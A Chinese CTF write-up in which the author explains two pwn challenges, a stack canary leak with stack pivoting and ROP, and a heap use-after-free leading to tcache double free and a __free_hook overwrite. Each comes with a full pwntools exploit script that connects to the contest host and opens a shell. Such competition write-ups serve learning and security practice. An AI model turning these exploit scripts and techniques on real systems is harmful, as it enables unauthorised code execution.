前言
比赛的时候做了两个PWN，由于队里没有逆向手，所以又切了道逆向，队友们做了两个密码，一个杂项。
总共241个得分队伍，最终排第36名，离进决赛还是有挺大距离的。
这里，把我做的两道PWN题总结一下。
babyrop（54解）
一个栈题，考察了挺多东西，主要是变相地考察了栈迁移。
首先，有个单字节溢出，利用其覆盖canary末尾的\x00，使得数据无法截断，之后printf即可将canary泄露出。
接着，动态调试一下，就很容易知道password对应的数是4196782（其实为字符串的地址）。
最后，read看似只能读一次，不过观察到其溢出了0x10，而read起始写入的地址是由rbp控制的，因此可以通过覆写栈上rbp处为我们想要写入的地址，之后leave中有pop rbp，因此可以控制rbp，并且覆写ret为call read前一点的地址，即可做到再次读入，并且读入到任意地址。
不过每次读入的内容去掉canary只有0x18的长度，对于布置rop链肯定是不够的，因此可以仿照上述的思路，进行多次分段读入，最后再进行一次标准的栈迁移即可（其中需要注意的是read()的返回地址，压进去的返回地址可能会被我们修改）。
最终getshell的时候，最简单的方式就是一次栈溢出，利用one_gadget即可。
不过，队里另外一个pwn手问我为什么他用system("/bin/sh")就不行，我试了一下，是可行的，我想他大概是由于bss_addr没有抬高或者抬高得不够所以打不通，因为这里调用system是需要访问到bss_addr之前空间的，如果是碰到了不可读(写)段或者是申请的临时空间覆盖了之前的有用数据，就有可能会出问题。
当然，如果控制rbp后，跳转到printf()前面一点，可以直接泄露出libc，相对于以上的思路，稍微简单一些。
from pwn import *
context(os = "linux", arch = "amd64", log_level = "debug")
io = remote("47.93.163.42", 38183)
#io=process("./pwn")
elf = ELF("./pwn")
libc = ELF("./libc-2.27.so")
bss_addr = 0x601500
pop_rdi_ret = 0x400913
leave_ret = 0x400759
vuln = 0x400717
read = 0x40071F
puts_got = elf.got["puts"]
puts_plt = elf.plt["puts"]
io.recvuntil("name? \n")
io.send(b'a'*20 + b'bitch')
io.recvuntil("bitch")
canary = u64(io.recv(7).rjust(8,b'\x00'))
success('canary:\t' + hex(canary))
io.recvuntil("challenge\n")
io.sendline(b'4196782')
payload = b'a'*0x18 + p64(canary) + p64(bss_addr+0x20) + p64(read)
io.sendafter("message\n", payload)
payload = p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt)
payload += p64(canary) + p64(bss_addr+0x18+0x20) + p64(read)
io.send(payload)
payload = p64(vuln) + p64(0) + p64(leave_ret)
payload += p64(0) + p64(bss_addr-8) + p64(leave_ret)
io.send(payload)
libc_base = u64(io.recv(6).ljust(8,b'\x00')) - libc.sym['puts']
success("libc_base:\t" + hex(libc_base))
one_gadget = libc_base + 0x4f432
payload = b'a'*0x18 + p64(canary) + p64(0) + p64(one_gadget)
io.send(payload)
'''
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))
system_addr = libc_base + libc.sym['system']
payload = b'a'*0x18 + p64(canary) + p64(bss_addr+0x10) + p64(read)
io.send(payload)
payload = p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(system_addr)
payload += p64(canary) + p64(bss_addr-0x18) + p64(leave_ret)
io.send(payload)
'''
io.interactive()
bookshop（29解）
一个堆题，首先让你读入申请的堆块大小（0x1F~0x666），之后每次申请堆块，都只能申请这么大，并且堆块个数也有限制，不过限制比较宽泛。
漏洞点也很明显，一个UAF漏洞，而且写入内容时read后并没有添加\x00，可能造成信息的泄露（不过此题没用到）。
首先，每次都只能申请一样大的堆块，那么如果要改变堆块大小，就只能通过空闲堆块合并了。
UAF漏洞可以让我们很方便地泄露出libc的基地址（show放入unsorted bin的堆块），UAF漏洞的攻击方式最常见的就是double free，不过此处貌似不太好实现，主要矛盾在于libc-2.31下，对tcache的double free进行了检测，在每个tcache bin的bk处放入了key，标识了其所属的tcache。若是用fastbin double free再配合fastbin reverse into tcache好像可行，不过就不好将chunk放入unsorted bin以泄露libc了（fastbin之间也不会合并）。
所以，想办法将key改变就可以对tcache进行double free了。
当scanf读入大量数据，缓冲区不够存放的时候，会分配一个堆块存放这些数据，比如读入0x666个字节，就会分配0x810大小的堆块，并在读入完成后，将申请的堆块free掉。
可以通过填满tcache后，连续free将很多个小堆块合并为一个大堆块，而其中单独的每个小堆块由于UAF漏洞，都可以单独地free，若此时tcache没满，它们每个free后都会进入tcache，并且不会对next chunk的prev_inuse位进行检测。
结合以上，可以每次申请0x200大小的堆块，5个这样的堆块合并成0xa00大小的堆块放在unsorted bin，并把0xa00中最后一个0x200的堆块C单独释放到tcache中，这时候再通过scanf读入大量数据，申请了0x810大小的堆块，就会将0xa00大小的堆块分割，并写入新size到C的key位置处，实现了覆写更改，之后就很容易利用tcache double free修改__free_hook为system进行getshell。
此外，还有一种思路：当scanf读入大量数据，申请了large bin后，会触发malloc_consolidate，从而造成fastbin合并后进入unsorted bin，就可以泄露libc了，然后用fastbin double free再配合fastbin reverse into tcache即可。
from pwn import *
context(os = "linux", arch = "amd64", log_level = "debug")
io = remote("47.93.163.42", 29251)
#io = process("./pwn")
elf = ELF("./pwn")
libc = ELF("./libc-2.31.so")
def add(content):
io.sendlineafter(">> ", b'1')
io.sendafter("> ", content)
def delete(index):
io.sendlineafter(">> ", b'2')
io.sendlineafter("bag?\n", str(index))
def show(index):
io.sendlineafter(">> ", b'3')
io.sendlineafter("read?\n", str(index))
io.recvuntil(": ")
def lucky(size):
io.recvuntil("number?\n")
io.sendline(str(size))
lucky(0x1f0)
for i in range(13): #0~12
add(b'\n')
for i in range(12):
delete(i)
show(7)
libc.address = u64(io.recv(6).ljust(8, b'\x00')) - 96 - 0x10 - libc.sym['__malloc_hook']
success("libc_base:\t" + hex(libc.address))
add(b'\n') #13
add(b'\n') #14
delete(11)
io.sendlineafter(">> ", b'8'*0x666)
delete(11)
add(p64(libc.sym['__free_hook'] - 8)) #15
add(b'\n') #16
add(b'/bin/sh\x00' + p64(libc.sym['system'])) #17
delete(17)
io.interactive()
Blindbox（8解）
感觉很复杂，其实就是我太菜了，坐等大师傅们的wp......